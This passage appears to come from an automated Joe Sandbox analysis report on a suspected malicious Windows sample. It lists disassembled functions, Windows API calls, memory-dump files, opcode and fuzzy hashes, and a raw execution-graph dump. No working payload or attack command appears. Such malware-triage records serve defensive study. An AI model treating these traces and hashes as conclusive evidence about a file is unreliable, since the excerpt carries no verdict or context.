                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocHeap$CommonControlsCriticalInitInitializeObjectSectionStockmemset
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3863164924-0
                                                                                                                                                                                                                                                                    • Opcode ID: ceb85ef5d40575771189322c029d9b8e4f581d4b2ccd4b6addda6807cb5e2490
                                                                                                                                                                                                                                                                    • Instruction ID: 510ee6fdf53c688316166249eb3933c52c9919076813bc0dd8fb351892cf240c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ceb85ef5d40575771189322c029d9b8e4f581d4b2ccd4b6addda6807cb5e2490
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E8F030B1A80308BAD704AFE1AD4BF4E7AA8E744709F10847AB201B71D2D6F952149F9D
                                                                                                                                                                                                                                                                    Function 00404DC2 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(00404F3E,00000000,00000000,00000002,00000100,?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000), ref: 00404DD7
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(?,00000000,?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404DDC
                                                                                                                                                                                                                                                                    • DuplicateHandle.KERNEL32(00000000,?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404DDF
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00404DEC
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CurrentHandleProcess$CloseDuplicate
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1410216518-0
                                                                                                                                                                                                                                                                    • Opcode ID: 4ad64064cdab19205e661f7d847fb8bb647da2d9749393b2ef0a453543f8c353
                                                                                                                                                                                                                                                                    • Instruction ID: 335586d8d8032c1f4bcc62278ce61a68ae8142cd83dff683c411f96c75bf0214
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4ad64064cdab19205e661f7d847fb8bb647da2d9749393b2ef0a453543f8c353
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B3E01A75900215BBEB109BA1DD09F9ABFACEB08750F100021B900E3194DB71AD149BA4
                                                                                                                                                                                                                                                                    Function 0040597B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 004059AF
                                                                                                                                                                                                                                                                    • CreateWindowExA.USER32(00000008,Static,00000000,00000008,00001000,00000000,00000007,0040D278,00000000,000000FF,00000000), ref: 00405A3B
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateWindowmemset
                                                                                                                                                                                                                                                                    • String ID: Static
                                                                                                                                                                                                                                                                    • API String ID: 1730425660-2272013587
                                                                                                                                                                                                                                                                    • Opcode ID: ad61dc0b2625c243154b3cf230926f3d776152dfdac8d98d38a8f1f83c364fb1
                                                                                                                                                                                                                                                                    • Instruction ID: 3be45eb2cac22bfb316f0fe28bf56f8bc58da0970f07931f341b1089a0ab9e01
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ad61dc0b2625c243154b3cf230926f3d776152dfdac8d98d38a8f1f83c364fb1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4B217171500215EFEB119F42ED45F467E64EB40768F008A3AF9247A2E1D37A9835DF9C
                                                                                                                                                                                                                                                                    Function 00406218 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ParentProp
                                                                                                                                                                                                                                                                    • String ID: PB_WindowID
                                                                                                                                                                                                                                                                    • API String ID: 919147419-1508741625
                                                                                                                                                                                                                                                                    • Opcode ID: f1bf10ccb11844d770834e1361410cb50036906dd9bfc10a0103de690677fea4
                                                                                                                                                                                                                                                                    • Instruction ID: e16660458196ebc66a29c04870b9f62ce1ec57716299c56e288e33c06781550a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f1bf10ccb11844d770834e1361410cb50036906dd9bfc10a0103de690677fea4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F6D0C273B0122267C22066AB5C84D479ADCABA8760302853BF601F3250C278CC1482A8
                                                                                                                                                                                                                                                                    Function 0040624B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00406218: GetParent.USER32(?), ref: 0040623B
                                                                                                                                                                                                                                                                    • GetPropA.USER32(00000000,?), ref: 0040625E
                                                                                                                                                                                                                                                                    • GetWindowLongA.USER32(?,000000F4), ref: 0040626C
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: LongParentPropWindow
                                                                                                                                                                                                                                                                    • String ID: PB_WindowID
                                                                                                                                                                                                                                                                    • API String ID: 1999142876-1508741625
                                                                                                                                                                                                                                                                    • Opcode ID: f67aa296afec03323dd8c0306c0b3ad223f6a33aea4896f822f0ded23531713b
                                                                                                                                                                                                                                                                    • Instruction ID: d558a653bc0402c3db5d0b7172fa3aeac04677a998766ba2ae324cf7c24dba8b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f67aa296afec03323dd8c0306c0b3ad223f6a33aea4896f822f0ded23531713b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3AD05E72848201BFEA013BE4CC46C2B7A68EBA4324B10CA29B5B1A00F1CA3584289B25
                                                                                                                                                                                                                                                                    Function 00404670 Relevance: 5.2, APIs: 4, Instructions: 171memorystringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(02660000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404736
                                                                                                                                                                                                                                                                    • strncpy.MSVCRT ref: 0040477E
                                                                                                                                                                                                                                                                    • strncpy.MSVCRT ref: 004047CE
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(02660000,00000000,00000000), ref: 004047F3
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heapstrncpy$AllocFree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2298710462-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0aeeb7657f946b7d67fce5f8ee76dd0218a00269cc405e19329bf7ec61e431ae
                                                                                                                                                                                                                                                                    • Instruction ID: c4be35354d1ec647592a0f57528b13a010f46de7c93af1ce65c1b429fdf9843f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0aeeb7657f946b7d67fce5f8ee76dd0218a00269cc405e19329bf7ec61e431ae
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4251D4B15083419FC3119F28884476BBBE4EFCA704F184A2DF984A7381D779ED09CB9A
                                                                                                                                                                                                                                                                    Function 0040A3DB Relevance: 5.1, APIs: 4, Instructions: 138memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(?,?,?,02661DB0,?,?,004055BF,00000001,?,?,?,0040366A,00000001,00000001,?,?), ref: 0040A3F3
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,-00000018,?,?,02661DB0,?,?,004055BF,00000001,?,?,?,0040366A,00000001,00000001,?), ref: 0040A4A7
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,-00000018,?,?,02661DB0,?,?,004055BF,00000001,?,?,?,0040366A,00000001,00000001,?), ref: 0040A4C7
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(?,?,?,02661DB0,?,?,004055BF,00000001,?,?,?,0040366A,00000001,00000001,?,?), ref: 0040A51F
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocCriticalHeapSection$EnterLeave
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 830345296-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2444b760319606051017e4a0edc05a5147597de7595579558ea9c07259c6d8f4
                                                                                                                                                                                                                                                                    • Instruction ID: 22ee706eb82f3d36adaecdfd9185e7309afb4d215cbd0f46d656d2127f982611
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2444b760319606051017e4a0edc05a5147597de7595579558ea9c07259c6d8f4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2F51E4B5600B059FC324CF29D984926B7F4FB587103108A3EE4AAD7B91D774F864CB96
                                                                                                                                                                                                                                                                    Function 0040A5F3 Relevance: 5.0, APIs: 4, Instructions: 47memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00000420,?,00000028,00000000,00000000,0040A6D9,00000028,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000), ref: 0040A606
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,?,00000028,00000000,00000000,0040A6D9,00000028,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000), ref: 0040A623
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,?,00000028,00000000,00000000,0040A6D9,00000028,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000), ref: 0040A63B
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(000003E0,?,00000028,00000000,00000000,0040A6D9,00000028,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000), ref: 0040A654
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalFreeHeapSection$EnterLeave
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1298188129-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0066d78287da6e88f14f4a2ac1ea077388b082ff9e5041c9017ae89fedb61604
                                                                                                                                                                                                                                                                    • Instruction ID: 3702b2b77305ca1fb8f911b78b397814d0f2fb105a67ed305531638ab81f6ff6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0066d78287da6e88f14f4a2ac1ea077388b082ff9e5041c9017ae89fedb61604
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C40162766007089FC2209F96ED8482BB7B9FB893543594C3EE481E3250C736FC668F58

                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                    Function 00D414E0 Relevance: .0, Instructions: 4COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000004.00000002.2142997369.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2142981658.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143287992.000000000119E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143300970.000000000119F000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143312598.00000000011A2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143324009.00000000011A6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143387622.0000000001290000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143387622.0000000001294000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143413956.0000000001296000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000004.00000002.2143425481.0000000001299000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_d40000_ariac.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                    • Opcode ID: c66ea7c47f83e442c3b45a2f9d25a9692762c994f1b91a507bc0437ad7142ac9
                                                                                                                                                                                                                                                                    • Instruction ID: 7e9f8ccf6fceda8b3fcb317ac422a40b2b86a3667f050b1716fb77d8d6baa5be
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c66ea7c47f83e442c3b45a2f9d25a9692762c994f1b91a507bc0437ad7142ac9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 20B01138222380C2E20A2F82E8823082330A308B82F802000EA08033A2CA3880A08B30

                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                    Execution Coverage:15%
                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                    Signature Coverage:0%
                                                                                                                                                                                                                                                                    Total number of Nodes:2000
                                                                                                                                                                                                                                                                    Total number of Limit Nodes:76
                                                                                                                                                                                                                                                                    execution_graph 18218 41f440 18219 41f444 18218->18219 18220 41f447 VirtualAlloc 18218->18220 18221 41f460 18222 41f472 18221->18222 18223 41f464 VirtualFree 18221->18223 18223->18222 18224 41f480 18225 41f48a 18224->18225 18226 41f48d 18224->18226 18226->18225 18227 41f491 malloc 18226->18227 18227->18225 18228 41cf00 18230 41cf1a __aulldiv 18228->18230 18229 41cf30 18230->18229 18233 4209a0 18230->18233 18232 41d07b 18234 4209ba 18233->18234 18236 4209c9 18233->18236 18234->18232 18238 420ad8 18236->18238 18240 423980 18236->18240 18239 420b02 18238->18239 18250 421140 18238->18250 18239->18232 18241 4239e6 18240->18241 18244 423a8d 18241->18244 18254 426140 SetEvent 18241->18254 18243 423a63 18243->18244 18245 426140 2 API calls 18243->18245 18244->18238 18246 423a71 18245->18246 18246->18244 18258 423b20 18246->18258 18252 421153 18250->18252 18253 421416 18252->18253 18343 420400 18252->18343 18253->18239 18255 426150 GetLastError 18254->18255 18256 42614d 18254->18256 18257 42615a 18255->18257 18256->18243 18257->18243 18259 423b37 18258->18259 18266 423b50 18259->18266 18262 423b00 18263 423b0d 18262->18263 18265 423b1a 18263->18265 18326 423940 18263->18326 18265->18244 18275 423bb0 18266->18275 18268 423a7d 18268->18244 18268->18262 18270 426140 2 API calls 18271 423b81 18270->18271 18272 426140 2 API calls 18271->18272 18273 423b8c 18272->18273 18287 423640 EnterCriticalSection 18273->18287 18290 4260f0 WaitForSingleObject 18275->18290 18278 423be1 18281 4245e0 EnterCriticalSection LeaveCriticalSection 18278->18281 18283 426140 SetEvent GetLastError 18278->18283 18284 4246d0 EnterCriticalSection LeaveCriticalSection 18278->18284 18285 4260f0 WaitForSingleObject 18278->18285 18286 423b5d 18278->18286 18291 424530 18278->18291 18295 424580 EnterCriticalSection 18278->18295 18298 4244f0 18278->18298 18302 4235c0 EnterCriticalSection 18278->18302 18281->18278 18283->18278 18284->18278 18285->18278 18286->18268 18286->18270 18288 42365b LeaveCriticalSection 18287->18288 18289 423658 18287->18289 18288->18268 18289->18288 18290->18278 18292 424572 18291->18292 18293 424548 18291->18293 18292->18278 18293->18292 18305 406198 18293->18305 18297 42459e LeaveCriticalSection 18295->18297 18297->18278 18299 4244f8 18298->18299 18300 424506 18299->18300 18322 426100 _beginthreadex 18299->18322 18300->18278 18303 423628 LeaveCriticalSection 18302->18303 18304 423605 18302->18304 18303->18278 18304->18303 18306 4061b1 18305->18306 18309 4075d6 18306->18309 18307 4061c5 18307->18293 18310 4075fa 18309->18310 18311 407619 18310->18311 18313 4065a9 18310->18313 18311->18307 18318 40479e 18313->18318 18316 4065d6 GetLastError 18317 4065d2 18316->18317 18317->18311 18319 4047ab 18318->18319 18320 404771 ReadFile 18319->18320 18321 4047bc 18320->18321 18321->18316 18321->18317 18323 426123 18322->18323 18324 426128 GetLastError 18322->18324 18323->18300 18325 426132 18324->18325 18325->18300 18327 42394e 18326->18327 18328 42396c 18326->18328 18329 426140 2 API calls 18327->18329 18330 4260c0 ctype 2 API calls 18328->18330 18332 423956 18329->18332 18331 423974 18330->18331 18333 426140 2 API calls 18332->18333 18334 42395e 18333->18334 18338 4260f0 WaitForSingleObject 18334->18338 18336 423965 18339 4260c0 18336->18339 18338->18336 18340 4260c9 CloseHandle 18339->18340 18342 4260de 18339->18342 18341 4260d4 GetLastError 18340->18341 18340->18342 18341->18342 18342->18328 18344 4205fe 18343->18344 18347 420434 18343->18347 18344->18252 18346 420502 memcpy 18346->18347 18347->18344 18347->18346 18348 422fb0 18347->18348 18349 422fe5 18348->18349 18349->18347 18350 42324b 18349->18350 18351 423295 memcpy 18349->18351 18350->18347 18351->18347 18352 41d5a0 18353 41d5bb 18352->18353 18354 41d5d2 18353->18354 18356 41d560 18353->18356 18357 41d56a 18356->18357 18361 41d588 18357->18361 18362 41f3c0 free 18357->18362 18359 41d579 18363 41f3a0 18359->18363 18361->18354 18362->18359 18364 41f3a4 18363->18364 18365 41f3a7 malloc 18363->18365 18364->18361 18365->18361 18366 414a22 18373 41325b EnterCriticalSection LeaveCriticalSection 18366->18373 18368 414a30 18369 414a44 18368->18369 18374 41534d 18368->18374 18373->18368 18375 414a3b 18374->18375 18376 41535d PostMessageW 18374->18376 18377 414124 18375->18377 18376->18375 18456 4272c0 18377->18456 18379 41412e EnterCriticalSection 18457 414930 18379->18457 18382 414930 4 API calls 18383 4141e3 18382->18383 18384 414930 4 API calls 18383->18384 18385 4141f5 LeaveCriticalSection GetTickCount 18384->18385 18387 414227 18385->18387 18388 4142ad 18387->18388 18462 413df0 18387->18462 18471 414047 18388->18471 18393 4142c3 __aulldiv 18394 41433a 18393->18394 18395 414328 SetDlgItemTextW 18393->18395 18396 414359 18394->18396 18409 4143a2 __aulldiv 18394->18409 18446 414700 18394->18446 18395->18394 18510 415111 18396->18510 18398 4147fb 18420 41483b 18398->18420 18539 402678 18398->18539 18399 414360 18404 41436e SetDlgItemTextW 18399->18404 18402 41445a __aulldiv 18406 414574 __aulldiv 18402->18406 18447 41453a SetDlgItemTextW 18402->18447 18404->18409 18410 41438f 18404->18410 18415 41464f wcscmp 18406->18415 18407 41444f SetDlgItemTextW 18407->18402 18409->18402 18409->18406 18409->18407 18528 4137ef 6 API calls 18410->18528 18412 4025a5 2 API calls 18422 41485d 18412->18422 18419 41466f 18415->18419 18429 41468f 18415->18429 18416 41439b 18529 41378b 18416->18529 18533 4026e4 18419->18533 18453 4148f5 18420->18453 18549 4025a5 18420->18549 18421 414867 18558 402748 18421->18558 18422->18421 18427 41487e 18422->18427 18426 41489a 18428 414908 6 API calls 18426->18428 18552 4027a0 18427->18552 18431 4148b9 18428->18431 18432 414705 18429->18432 18435 4146d6 18429->18435 18434 414908 6 API calls 18431->18434 18437 414047 SetDlgItemTextW 18432->18437 18438 4148c3 18434->18438 18439 414047 SetDlgItemTextW 18435->18439 18436 4026e4 3 